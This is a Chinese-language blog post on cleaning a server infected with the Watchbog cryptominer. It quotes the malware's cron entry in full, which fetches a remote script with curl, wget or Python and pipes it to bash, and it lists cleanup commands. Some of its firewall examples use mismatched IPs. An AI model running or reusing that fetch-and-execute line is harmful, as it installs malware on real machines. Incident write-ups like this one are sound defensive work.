概述
最近運氣不太好,居然有臺服務器被挖礦了,下面記錄下問題發生的過程和解決方法,僅供參考。
一、Watchbog挖礦病毒
1、服務器收到cpu報警,cpu被占用達到100%,登錄服務器查看,發現cpu被一個watchbog的進程占滿了,如下圖所示:
2、殺掉會話
發現用kill殺掉后,這個進程還是會隔一會自動起來,很明顯被加入了定時任務,檢查所示:
*/9 * * * * (curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O- https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||Python -c 'import urllib2 as fbi;print fbi.urlopen("ht tps://github.com/luckysBoys/lucks/blob/master/5.sh").read()'||curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||curl -fsSLk https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh -m 90||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh --no-check-certificate -t 2 -T 60)|bash
打開這個URL,發現像是一堆base64的密文,密文地址。
3、當清除掉定時任務的內容之后,隔了一會,其又被加入了如上一模一樣的內容,所以該病毒程序不是一般的病毒程序。
4、經過后來的了解,發現該進程watchbog為被植入的挖礦程序,該程序會在cron下面寫入腳本,定期去pastebin.com下載木馬開始挖礦,如果刪除不徹底仍然會不定期啟動這個挖礦程序。
二、解決過程
1、 修改/etc/hosts
通過觀察定時任務內容,可以發現幾個惡意網址,分別如下:
1)raw.githubusercontent.com 2)github.com
先將上述這些地址重定向到本地
2、防火墻控制出入流量
將上述被攻擊者攜帶的域名所對應的的ip地址進行ip限制。
--比如raw.githubusercontent.com對應的ip為10.20.208.21 iptables -A INPUT -s 10.20.209.21 -j DROP iptables -A OUTPUT -s 10.20.209.21 -j DROP iptables -A OUTPUT -j DROP -d 10.20.209.2 --保存修改內容 /sbin/service iptables save
3、移除curl get腳本
因為該挖礦程序會借助curl、wget命令去下載病毒,所以第一時間我們需要進行如下操作:
mv /usr/bin/curl /usr/bin/lruc mv /usr/bin/wget /usr/bin/tegw
如果確認病毒徹底被刪除,我們可以不需要操作。
4、 刪掉cron里面的相關任務
crontab -l /etc/cron.d /etc/cron.deny /etc/cron.monthly /etc/cron.daily /etc/cron.hourly /etc/crontab /etc/cron.weekly
上述8個與cron相關的文件目錄我們都需要仔細檢查一遍,凡是有關不知名的域名等信息都要徹底刪除。
1) crontab -l
2)/etc/cron.d
該目錄下新增了好幾個命令:Appache、root、system
3)/etc/cron.deny
沒有發現
4)/etc/cron.monthly
5)/etc/cron.daily
6)/etc/cron.hourly
7)/etc/crontab
在crontab文件中還發現了新的潛藏命令httpntp、ftpDNS
8)/etc/cron.weekly
沒有發現
最后在用find過濾一遍,確保完全清除干凈。
5、 刪除惡意命令
同時我們還發現了惡意命令/bin/httpntp、/bin/ftpsdns、/usr/bin/watchbog
之所以看到這些惡意命令,是從定時任務日志(/var/log/cron)中發現的。
6、 刪除tmp目錄下timesyncc.service文件
文件詳情如下:
7、殺掉watchbog進程
ps -ef|grep watchbog|awk '{print $2}'|xargs kill -9
總結
面對挖礦進程我簡單總結了以下幾點,如果遇到挖礦進程處理先后順序如下:
1)查看定時任務,找到挖礦程序在執行的內容。
2)將惡意網址的hosts全部重定向到本地(127.0.0.1)
3)仔細查看審核與定時任務有關的文件和目錄,進行清除
4)刪除惡意的命令與包,重命名系統中被利用的命令
5)殺掉對應惡意進程(為什么放到最后呢?因為就算最早殺掉,其還是會因為定時任務等等自動啟動)